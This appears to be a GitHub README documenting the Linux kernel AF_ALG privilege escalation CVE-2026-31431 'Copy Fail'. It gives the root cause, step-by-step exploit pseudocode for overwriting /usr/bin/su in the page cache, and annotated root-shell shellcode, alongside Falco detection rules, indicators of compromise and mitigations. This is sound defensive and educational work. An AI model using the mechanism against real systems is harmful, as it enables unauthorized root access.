darioomatos/cve-2026-31431-copyfail

GitHub: darioomatos/cve-2026-31431-copyfail

CVE-2026-31431「Copy Fail」漏洞的教学仓库,详细记录了 Linux 内核 AF_ALG 子系统中本地权限提升漏洞的原理、利用方式、检测与缓解方案。

Stars: 2 | Forks: 0

# CVE-2026-31431 — "Copy Fail" 🔐 ## 目录 - [它是什么?](#o-que-é) - [给外行的比喻](#para-leigos-a-analogia) - [时间线](#linha-do-tempo) - [技术原理](#como-funciona-tecnicamente) - [Shellcode 分析](#o-shellcode-analisado) - [与类似漏洞的比较](#comparação-com-vulnerabilidades-similares) - [受影响的系统](#sistemas-afetados) - [Android 受影响吗?](#android-é-afetado) - [检测](#detecção) - [缓解与补丁](#mitigação-e-patches) - [学习实现](#implementações-de-estudo) - [参考资料](#referências) ## 它是什么? **CVE-2026-31431**, nicknamed *Copy Fail*,是 Linux 内核中的一个**本地权限提升** (LPE — Local Privilege Escalation) 漏洞。它允许任何无特权用户在几秒钟内获得 **root** 访问权限。 | 属性 | 值 | |---|---| | CVE | CVE-2026-31431 | | CVSS 评分 | **7.8 HIGH** | | 类型 | 本地权限提升 (LPE) | | 子系统 | `crypto/algif_aead.c` — AF_ALG | | 引入版本 | Kernel 4.14 (commit `72548b093ee3`,2017 年 7 月) | | 修复版本 | 6.18.22 / 6.19.12 / 7.0 (commit `a664bf3d603d`) | | 发现者 | Taeyang Lee — Theori / Xint Code | | 公开披露日期 | 2026 年 4 月 29 日 | | 公开 PoC | 有 — 约 732 字节的 Python 脚本 | ## 给外行的比喻 想象操作系统有一个**工作内存**(称为 *page cache*),用于保存正在使用的文件的副本。当你运行一个程序时,系统会将该程序加载到这个内存中并从那里执行——而不是直接从磁盘执行。 Copy Fail 允许普通用户**在内存中修改**特殊程序(例如 `su` 命令等 *setuid* 二进制文件)的副本,而无需触碰磁盘上的原始文件。磁盘上的文件保持不变,但当程序运行时,系统读取的是内存中被篡改的版本。 这就像在厨师做饭时,在他的记忆中替换了菜谱——原本的食谱没有改变,但端出来的菜却完全不同。 **结果:**被篡改的程序以 root 权限执行攻击者的代码。 **使其特别危险的原因:** - 没有竞态条件窗口——它是确定性的 - 不会在磁盘上留下任何痕迹(磁盘取证无法检测) - 自 2017 年以来,适用于几乎所有 Linux 发行版 - 原始的 exploit 仅用 Python 编写,约 700 字节 ## 时间线 ``` 2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place) 2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos 2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan) 2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017 2026 Abr 22 → CVE-2026-31431 atribuída 2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação 2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos ``` ## 技术原理 ### 流程概述 ``` Atacante (usuário sem privilégios) │ ├─ 1. socket(AF_ALG, SOCK_SEQPACKET) │ Cria socket de criptografia no kernel │ bind: "authencesn(hmac(sha256),cbc(aes))" │ ├─ 2. setsockopt: define chave AEAD + authsize=4 │ ├─ 3. accept() → op_socket │ ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen]) │ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache │ ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket) │ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG │ As páginas do arquivo agora estão no destino GRAVÁVEL da operação │ ├─ 6. recv() → dispara o authencesn │ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE) │ Escreve 4 bytes em dst[assoclen + cryptlen] │ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓ │ HMAC falha → retorna EBADMSG → IGNORADO │ └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement Executa o binário alvo → root shell ``` ### 根本原因:就地操作 + sg_chain() 该漏洞存在于 `crypto/algif_aead.c` 中。2017 年,AEAD 操作被转换为 *in-place*(就地操作)以提高性能: ``` // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída // Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA ``` `authencesn` 算法使用目标缓冲区作为 *scratch space*,以重新排列 IPsec 的 Extended Sequence Number (ESN) 的字节: ``` // Em authencesn_decrypt(): scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ^^^^^^^^^^^^^^^^^^^^^^^^^ // offset que ultrapassa o output buffer // e cai nas páginas do page cache encadeadas ``` ### 为什么不留痕迹 写入操作完全绕过了 VFS。修改后的页面永远不会被内核的回写机制标记为 *dirty*。磁盘上的文件保持完整。基于哈希的完整性检查工具(`aide`、`tripwire`、`inotifywait`)无法检测到任何变化,因为它们监控的是磁盘,而不是 page cache。 ## Shellcode 分析 该 exploit 嵌入了一个 160 字节的微型 ELF,并使用 zlib 进行了压缩。解压后,可执行部分如下: ``` ; Offset 0x78 no arquivo ELF (entry point) xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL) ; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0) bin_sh: db "/bin/sh", 0 ``` **最小 ELF 结构(共 160 字节):** ``` Offset 0x00–0x3F → ELF64 Header (64 bytes) e_type=ET_EXEC, e_machine=EM_X86_64 e_entry=0x400078, e_phnum=1 Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes) p_flags=PF_R|PF_X, p_vaddr=0x400000 p_filesz=0x9e Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0") ``` ## 与类似漏洞的比较 | | Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |---|---|---|---| | **CVE** | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 | | **类型** | CoW 竞态条件 | Pipe buffer 无 flags | AEAD 逻辑缺陷 | | **可靠性** | 依赖竞态 (~ms) | 确定性 | **确定性** | | **磁盘痕迹** | 有 (dirty pages) | 无 | **无** | | **通用性** | 广泛 | 特定版本 | **通用 (2017–2026)** | | **PoC 大小** | ~50 行 C 代码 | ~40 行 C 代码 | **~10 行 Python 代码** | | **子系统** | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) | | **发现方式** | 手动 | 手动 | **AI 辅助** | | **利用窗口** | 竞态窗口 | 无 | **无** | ## 受影响的系统 **内核版本:** - 引入版本:Linux 4.14(2017 年 7 月) - 修复版本:6.18.22, 6.19.12, 7.0 **已确认存在可用 exploit 的发行版:** - Ubuntu 24.04 LTS - Amazon Linux 2023 - Red Hat Enterprise Linux 10.1 - SUSE Linux Enterprise 16 - Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux **必要条件:**内核配置中启用 `CONFIG_CRYPTO_USER_API_AEAD=y` 或 `=m` **检查系统是否受影响:** ``` # 检查模块是否可用 grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) # =y → built-in(更难禁用) # =m → loadable module(可通过 modprobe 阻止) # (不存在)→ 不受影响 # 直接测试(不会造成损害,仅测试访问权限): python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') " ``` ## Android 受影响吗? **简答:**标准 Android (AOSP/GKI) **在实际应用中不受影响**,但具有非标准配置的设备需要检查。 ### 前置条件分析 ``` Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado ────────────────────────────────────────────────────────────────────────────── Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config) AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root ────────────────────────────────────────────────────────────────────────────── Exploração via APK ❌ Inviável ❌ Inviável Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive) ``` ### 为什么 Android 天然具有防护能力 **1. GKI 中缺少 `CONFIG_CRYPTO_USER_API_AEAD`** Google 在标准的 arm64 `gki_defconfig` 中没有包含此选项。Android 在用户空间使用 BoringSSL 进行加密,不依赖 AF_ALG。 **2. SELinux 强制模式** Android 的 SELinux `untrusted_app` 域没有创建 `AF_ALG` 的 `create` 权限。调用 `socket(AF_ALG, SOCK_SEQPACKET, 0)` 会在到达加密子系统之前被拒绝并返回 `EACCES`。 **3. Seccomp-bpf** Android 应用在运行时受到 seccomp 过滤器的限制,该过滤器会阻止 `domain=AF_ALG` 的 `socket()` 调用——它不在允许第三方应用使用的系统调用白名单中。 **4. 缺少 setuid 二进制文件** Android 不使用传统的 Linux setuid 模型。特权二进制文件使用特定的 *capabilities* 或作为具有专用 UID 的服务运行。AOSP 的生产版本中没有 `/usr/bin/su`。 ### Android 中的风险场景 | 场景 | 风险 | |---|---| | 装有 Magisk/KernelSU + SELinux 宽容模式的设备 | **高** — 所有的前置条件都可能满足 | | 包含 `CONFIG_CRYPTO_USER_API_AEAD=y` 的 OEM 内核 + 工程版本 | **中** — 取决于 shell 访问权限 | | 未 Root 设备上的恶意应用 | **无** — SELinux + seccomp 会将其阻止 | | 生产版本上的 ADB | **无** — `adb root` 不起作用 | ### 如何检查 Android 设备 ``` # 检查 kernel 配置 adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD # 检查 SELinux 模式 adb shell getenforce # Enforcing = 已保护 / Permissive = 潜在风险 # 直接测试(需要可用的 adb shell) adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device" # 查找 setuid 二进制文件(在标准 Android 中不常见) adb shell find /system /vendor -perm -4000 -type f 2>/dev/null ``` ## 检测 ### Falco (运行时检测) ``` - rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado desc: > Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431. condition: > evt.type = socket and evt.rawres >= 0 and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG) and (evt.arg.type = 5 or evt.arg.type = 2053) and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup, integritysetup, kcapi-enc, kcapi-dgst) output: > AF_ALG AEAD socket por processo suspeito (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline) priority: CRITICAL tags: [CVE-2026-31431, kernel, privilege_escalation] ``` ### 失陷指标 ``` # 打开 AF_ALG 后执行 shell 的 Python 进程 # 可疑进程的 strace 显示: # socket(AF_ALG=38, SOCK_SEQPACKET, 0) # bind(..., "authencesn(hmac(sha256),cbc(aes))", ...) # splice(...) ← 文件 → pipe → socket # recvmsg(...) # 随后是: # setuid(0) # execve("/bin/sh", ...) # 系统日志中的危险信号: # - UID 转换为 0 的非 root 进程 # - 以 python3 作为父进程的 sh/bash # - 普通用户进程中的 socket+splice+recv 序列 ``` ### 检查系统是否已被入侵 ``` # Page cache 可通过以下方式清理: echo 3 > /proc/sys/vm/drop_caches # 这会撤销内存中的损坏(无需更换磁盘上的二进制文件) # 检查运行中与磁盘上的二进制文件的完整性: # (当页面位于 cache 中时无法检测到损坏) sha256sum /usr/bin/su # 与发行版的参考 hash 进行比较 ``` ## 缓解与补丁 ### 选项 1 — 更新内核(推荐) ``` # Ubuntu / Debian sudo apt update && sudo apt upgrade linux-image-generic sudo reboot # RHEL / AlmaLinux / Rocky Linux sudo dnf upgrade kernel sudo reboot # Fedora sudo dnf upgrade kernel sudo reboot # Arch Linux sudo pacman -Syu linux sudo reboot # 重启后检查版本: uname -r # 根据您的系列,应 >= 6.18.22 或 >= 6.19.12 ``` **各系列修复版本:** | 系列 | 修复版本 | |---|---| | 5.10.x | 5.10.254 | | 5.15.x | 5.15.204 | | 6.1.x | 6.1.170 | | 6.6.x | 6.6.137 | | 6.12.x | 6.12.85 | | 6.18.x | **6.18.22** | | 6.19.x | **6.19.12** | | 7.0+ | **7.0** (已包含修复) | ### 选项 2 — 禁用 algif_aead (临时权宜之计) **如果 `CONFIG_CRYPTO_USER_API_AEAD=m` (可加载模块):** ``` echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null || true ``` **如果 `CONFIG_CRYPTO_USER_API_AEAD=y` (内建 — 例如 RHEL/Rocky/CloudLinux):** ``` # 通过 grubby 使用 initcall_blacklist: grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot # 检查 mitigation 是否激活: cat /proc/cmdline | grep algif_aead_init ``` **确认权宜措施已生效:** ``` python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('❌ MITIGAÇÃO FALHOU — socket ainda acessível') except: print('✅ Mitigação ativa — socket bloqueado') " ``` **权宜措施的兼容性:** 阻止 `algif_aead` **不会影响** dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH。它仅影响明确使用 AF_ALG 进行 AEAD 的应用程序(极罕见——例如带有 `afalg` 引擎的 OpenSSL、硬件加密卸载)。 ### 选项 3 — 针对容器化环境的 Seccomp / LSM ``` # 用于阻止容器中 AF_ALG 的 seccomp 配置文件: { "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] } ``` ## 学习实现 本仓库以多种语言记录了该 exploit 的机制,仅供教育目的。重点在于了解漏洞是**如何**运作的,而不是分发攻击工具。 ### 机制结构 (伪代码) ``` função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]): alg = socket(AF_ALG, SEQPACKET) alg.bind("authencesn(hmac(sha256),cbc(aes))") alg.set_key(chave_36_bytes) alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo op = alg.accept() # O segredo: bytes[0:4] vão para posições [4:8] do AAD # authencesn lerá isso como seqno_lo e escreverá no page cache aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados] op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8]) pipe_r, pipe_w = pipe() splice(arquivo → pipe_w, len=offset+4, src_offset=0) splice(pipe_r → op, len=offset+4) # ↑ Injeta page cache na scatterlist do AF_ALG op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado # 用法: elf_payload = descomprime(payload_zlib) fd = open("/usr/bin/su", O_RDONLY) para cada chunk[4] em elf_payload: escreve_4_bytes_no_page_cache(fd, offset, chunk) executa("/usr/bin/su") ← agora executa nosso ELF → root ``` ### 已文档化的语言 | 语言 | 描述 | |---|---| | **Python (去混淆)** | 原始 PoC 的清晰注释版本 | | **NASM x86_64** | 逐条指令注释的 ELF payload | | **Go** | 使用 `syscall.RawSyscall6` 直接调用 `SYS_SPLICE` 和 `SYS_SETSOCKOPT` | | **C** | 使用 `struct msghdr`、`CMSG_DATA` 和 zlib 运行时的实现 | 文件 [`copyfail_study.md`](./copyfail_study.md) 包含了完整且带有注释的实现。 ### 关于 ELF Payload 提取出的 shellcode(从 PoC 中解压 zlib 后)执行以下操作: ``` 1. setuid(0) → syscall 105 (0x69) 2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline 3. exit(0) → syscall 60 (0x3c) — fallback ``` 总计:26 字节代码 + 8 字节字符串 = 160 字节 ELF 中的 34 字节 shellcode。 ## 参考资料 | 资源 | 链接 | |---|---| | 原始报告 | https://xint.io/blog/copy-fail-linux-distributions | | CVE 官方网站 | https://copy.fail | | NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 | | 原始 PoC 仓库 | https://github.com/theori-io/copy-fail-CVE-2026-31431 | | 主线补丁 | https://git.kernel.org/stable/c/a664bf3d603d | | 维基百科 | https://en.wikipedia.org/wiki/Copy_Fail | | Sysdig 分析 + Falco 规则 | https://sysdig.com/blog/cve-2026-31431-copy-fail | | Microsoft Defender 分析 | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 | | Tenable FAQ | https://tenable.com/blog/copy-fail-cve-2026-31431 | | CERT-EU 公告 | https://cert.europa.eu/publications/security-advisories/2026-005 | | Bugcrowd 分析 | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 | | OSS-Security 讨论 | https://openwall.com/lists/oss-security/2026/04/29/23 | | AlmaLinux 补丁 | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail | | CloudLinux 补丁 + 权宜措施分析 | https://blog.cloudlinux.com/cve-2026-31431-copy-fail | | Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 | ## 免责声明 本仓库**仅用于防御性安全教育和研究目的**。此处的内容面向: - 进攻和防御安全专业人员 - 漏洞研究人员 - 信息安全专业的学生 - 需要了解风险以便进行缓解的系统管理员 **请勿在未经系统所有者明确授权的情况下使用这些知识。**未经授权访问计算机系统在几乎所有司法管辖区均属犯罪行为(在巴西,违反第 12.737/2012 号法律 — Lei Carolina Dieckmann;以及第 14.155/2021 号法律)。 *最后更新:2026 年 5 月* *欢迎通过 PR 贡献——请保持教育和防御。*
标签:0day挖掘, AF_ALG, Copy Fail, crypto/algif_aead.c, CVE, CVE-2026-31431, Linux内核漏洞, LPE, Page Cache, PoC, Root权限, Shellcode, Web报告查看器, 二进制分析, 云安全运维, 内核安全, 子域名枚举, 技术调研, 提权漏洞, 数字签名, 日志审计, 暴力破解, 本地提权, 漏洞分析, 漏洞复现, 系统安全, 网络安全, 路径探测, 逆向工具, 隐私保护